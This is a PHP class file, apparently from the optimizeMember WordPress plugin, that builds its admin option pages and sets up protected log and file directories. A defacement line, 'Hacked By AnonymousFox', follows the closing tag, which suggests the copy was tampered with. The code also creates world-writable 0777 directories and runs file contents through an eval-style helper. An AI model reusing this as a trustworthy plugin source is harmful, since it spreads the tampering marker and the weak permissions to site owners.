* Builds and handles the NEWGeneral Options page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function opm_gen_ops_page()
{
do_action("ws_plugin__optimizemember_before_opm_gen_ops_page", get_defined_vars());
/**/
c_ws_plugin__optimizemember_menu_pages::update_all_options();
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/opm-gen-ops.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_opm_gen_ops_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the General Options page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function gen_ops_page()
{
do_action("ws_plugin__optimizemember_before_gen_ops_page", get_defined_vars());
/**/
c_ws_plugin__optimizemember_menu_pages::update_all_options();
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/gen-ops.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_gen_ops_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the Restriction Options page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function res_ops_page()
{
do_action("ws_plugin__optimizemember_before_res_ops_page", get_defined_vars());
/**/
c_ws_plugin__optimizemember_menu_pages::update_all_options();
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/res-ops.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_res_ops_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the Paypal Options page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function paypal_ops_page()
{
do_action("ws_plugin__optimizemember_before_paypal_ops_page", get_defined_vars());
/**/
c_ws_plugin__optimizemember_menu_pages::update_all_options();
/**/
$logs_dir = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir"];
/**/
if(!is_dir($logs_dir) && is_writable(dirname(c_ws_plugin__optimizemember_utils_dirs::strip_dir_app_data($logs_dir))))
mkdir($logs_dir, 0777, true).clearstatcache();
/**/
$htaccess = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir"]."/.htaccess";
$htaccess_contents = trim(c_ws_plugin__optimizemember_utilities::evl(file_get_contents($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir_htaccess"])));
/**/
if(is_dir($logs_dir) && is_writable($logs_dir) && !file_exists($htaccess))
file_put_contents($htaccess, $htaccess_contents).clearstatcache();
/**/
if($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["gateway_debug_logs"]) /* Logging enabled? */
{
if(!is_dir($logs_dir)) /* If the security-enabled logs directory does not exist yet. */
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('The security-enabled logs directory ( <code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($logs_dir)).'</code> ) does not exist. Please create this directory manually & make it writable ( chmod 777 ).', true);
/**/
else if(!is_writable($logs_dir)) /* If the logs directory is not writable yet. */
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Permissions error. The security-enabled logs directory ( <code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($logs_dir)).'</code> ) is not writable. Please make this directory writable ( chmod 777 ).', true);
/**/
if(!file_exists($htaccess)) /* If the .htaccess file has not been created yet. */
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('The .htaccess protection file ( <code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($htaccess)).'</code> ) does not exist. Please create this file manually. Inside your .htaccess file, add this:<br /><pre>'.esc_html($htaccess_contents).'</pre>', true);
/**/
else if(!preg_match("/deny from all/i", file_get_contents($htaccess))) /* Else if the .htaccess file does not offer the required protection. */
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Unprotected. The .htaccess protection file ( <code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($htaccess)).'</code> ) does not contain <code>deny from all</code>. Inside your .htaccess file, add this:<br /><pre>'.esc_html($htaccess_contents).'</pre>', true);
}
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/paypal-ops.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_paypal_ops_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the Download Options page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function down_ops_page()
{
do_action("ws_plugin__optimizemember_before_down_ops_page", get_defined_vars());
/**/
c_ws_plugin__optimizemember_menu_pages::update_all_options();
/**/
$files_dir = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"];
/**/
$htaccess = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"]."/.htaccess";
$htaccess_contents = trim(c_ws_plugin__optimizemember_utilities::evl(file_get_contents($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir_htaccess"])));
/**/
$no_gzip_htaccess = /* Always located in the absolute root path for WordPress. */ ABSPATH.".htaccess";
$no_gzip_htaccess_contents = trim(c_ws_plugin__optimizemember_utilities::evl(file_get_contents($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_no_gzip_htaccess"])));
/**/
if(!c_ws_plugin__optimizemember_files::no_gzip_rules_in_root_htaccess() /* If optimizeMember's GZIP exclusions do NOT yet exist in the root `.htaccess` file. */)
c_ws_plugin__optimizemember_files::write_no_gzip_into_root_htaccess(). /* Handle the root `.htaccess` file now. */clearstatcache();
/**/
if(!is_dir($files_dir) && is_writable(dirname(c_ws_plugin__optimizemember_utils_dirs::strip_dir_app_data($files_dir))))
mkdir($files_dir, 0777, true). /* Create this directory structure now. */clearstatcache();
/**/
if(is_dir($files_dir) && is_writable($files_dir) && !file_exists($htaccess) /* This file does NOT exist yet? */)
file_put_contents($htaccess, $htaccess_contents). /* Create the `.htaccess` file now. */clearstatcache();
/**/
if(!c_ws_plugin__optimizemember_files::no_gzip_rules_in_root_htaccess /* If optimizeMember's GZIP exclusions do NOT yet exist in the root `.htaccess` file. */())
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Possible GZIP conflict on server. Unable to write GZIP exclusions into root .htaccess file (<code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($no_gzip_htaccess)).'</code>). Please read the panel below: <strong>Preventing GZIP Conflicts</strong>, and add this section yourself:<br /><pre>'.esc_html($no_gzip_htaccess_contents).'</pre>', true);
/**/
if(!is_dir($files_dir)) /* If the security-enabled files directory does not exist yet. */
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('The security-enabled files directory (<code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($files_dir)).'</code>) does not exist. Please create this directory manually.', true);
/**/
if(!file_exists($htaccess)) /* If the `.htaccess` file has not been created yet. */
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('The .htaccess protection file (<code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($htaccess)).'</code>) does not exist. Please create this file manually. Inside your .htaccess file, add this:<br /><pre>'.esc_html($htaccess_contents).'</pre>', true);
/**/
else if(!preg_match("/deny from all/i", file_get_contents($htaccess))) /* Else if the `.htaccess` file does not offer the required protection. */
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Unprotected. The .htaccess protection file (<code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($htaccess)).'</code>) does not contain <code>deny from all</code>. Inside your .htaccess file, add this:<br /><pre>'.esc_html($htaccess_contents).'</pre>', true);
/**/
if(!empty($_POST["ws_plugin__optimizemember_amazon_cf_files_auto_configure_distros"]) && ($nonce = $_POST["ws_plugin__optimizemember_amazon_cf_files_auto_configure_distros"]) && wp_verify_nonce($nonce, "ws-plugin--optimizemember-amazon-cf-files-auto-configure-distros"))
if(($amazon_cf_auto_configure_distros = c_ws_plugin__optimizemember_files_in::amazon_cf_auto_configure_distros()) && $amazon_cf_auto_configure_distros["success"])
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Amazon CloudFront Distributions auto-configured successfully. Please allow 30 minutes for propagation.'.(($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_cf_files_distro_downloads_cname"]) ? '<br /><em>Downloads Distribution CNAME: <code>'.esc_html($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_cf_files_distro_downloads_cname"]).' —» '.esc_html($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_cf_files_distro_downloads_dname"]).'</code></em>' : '').(($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_cf_files_distro_streaming_cname"]) ? '<br /><em>Streaming Distribution CNAME: <code>'.esc_html($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_cf_files_distro_streaming_cname"]).' —» '.esc_html($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_cf_files_distro_streaming_dname"]).'</code></em>' : ''));
else /* Else there was an error. We need to report this back to the site owner so they can understand what's going on. */
(c_ws_plugin__optimizemember_menu_pages::$pre_display_errors["cf_files_auto_configure_distros"] = true).c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Unable to auto-configure Amazon CloudFront Distributions.<br />Error code: <code>'.esc_html($amazon_cf_auto_configure_distros["code"]).'</code>. Error Message: <code>'.esc_html($amazon_cf_auto_configure_distros["message"]).'</code>', true);
/**/
if(!empty($_POST["ws_plugin__optimizemember_amazon_s3_files_auto_configure_acls"]) && ($nonce = $_POST["ws_plugin__optimizemember_amazon_s3_files_auto_configure_acls"]) && wp_verify_nonce($nonce, "ws-plugin--optimizemember-amazon-s3-files-auto-configure-acls"))
if(($amazon_s3_auto_configure_acls = c_ws_plugin__optimizemember_files_in::amazon_s3_auto_configure_acls()) && $amazon_s3_auto_configure_acls["success"])
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Amazon S3 ACLs auto-configured successfully.');
else /* Else there was an error. We need to report this back to the site owner so they can understand what's going on. */
(c_ws_plugin__optimizemember_menu_pages::$pre_display_errors["s3_files_auto_configure_acls"] = true).c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Unable to auto-configure Amazon S3 ACLs.<br />Error code: <code>'.esc_html($amazon_s3_auto_configure_acls["code"]).'</code>. Error Message: <code>'.esc_html($amazon_s3_auto_configure_acls["message"]).'</code>', true);
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/down-ops.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_down_ops_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the API Tracking options page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function trk_ops_page()
{
do_action("ws_plugin__optimizemember_before_trk_ops_page", get_defined_vars());
/**/
c_ws_plugin__optimizemember_menu_pages::update_all_options();
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/trk-ops.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_trk_ops_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the API List Server options page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function els_ops_page()
{
do_action("ws_plugin__optimizemember_before_els_ops_page", get_defined_vars());
/**/
c_ws_plugin__optimizemember_menu_pages::update_all_options();
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/els-ops.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_els_ops_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the API Notifications page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function api_ops_page()
{
do_action("ws_plugin__optimizemember_before_api_ops_page", get_defined_vars());
/**/
c_ws_plugin__optimizemember_menu_pages::update_all_options();
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/api-ops.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_api_ops_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the PayPal Button Generator page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function paypal_buttons_page()
{
do_action("ws_plugin__optimizemember_before_paypal_buttons_page", get_defined_vars());
/**/
if(!$GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["paypal_business"] || !$GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["paypal_api_username"] || !$GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["paypal_api_password"] || !$GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["paypal_api_signature"])
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Please configure <code>optimizeMember -> PayPal Options</code> first. Once all of your PayPal Options are configured; including your Email Address, API Username, Password, and Signature; return to this page & generate your PayPal Button(s).', true);
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/paypal-buttons.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_paypal_buttons_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the API Scripting page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function scripting_page()
{
do_action("ws_plugin__optimizemember_before_scripting_page", get_defined_vars());
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/scripting.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_scripting_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the Integrations page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function integrations_page()
{
do_action("ws_plugin__optimizemember_before_integrations_page", get_defined_vars());
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/integrations.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_integrations_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the optimizeMember Info page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function info_page()
{
do_action("ws_plugin__optimizemember_before_info_page", get_defined_vars());
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/info.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_info_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
public static function update_new_options_via_ajax()
{
self::update_all_options();die();
}
}
}
?>
Hacked By AnonymousFox1.0, Coded By AnonymousFox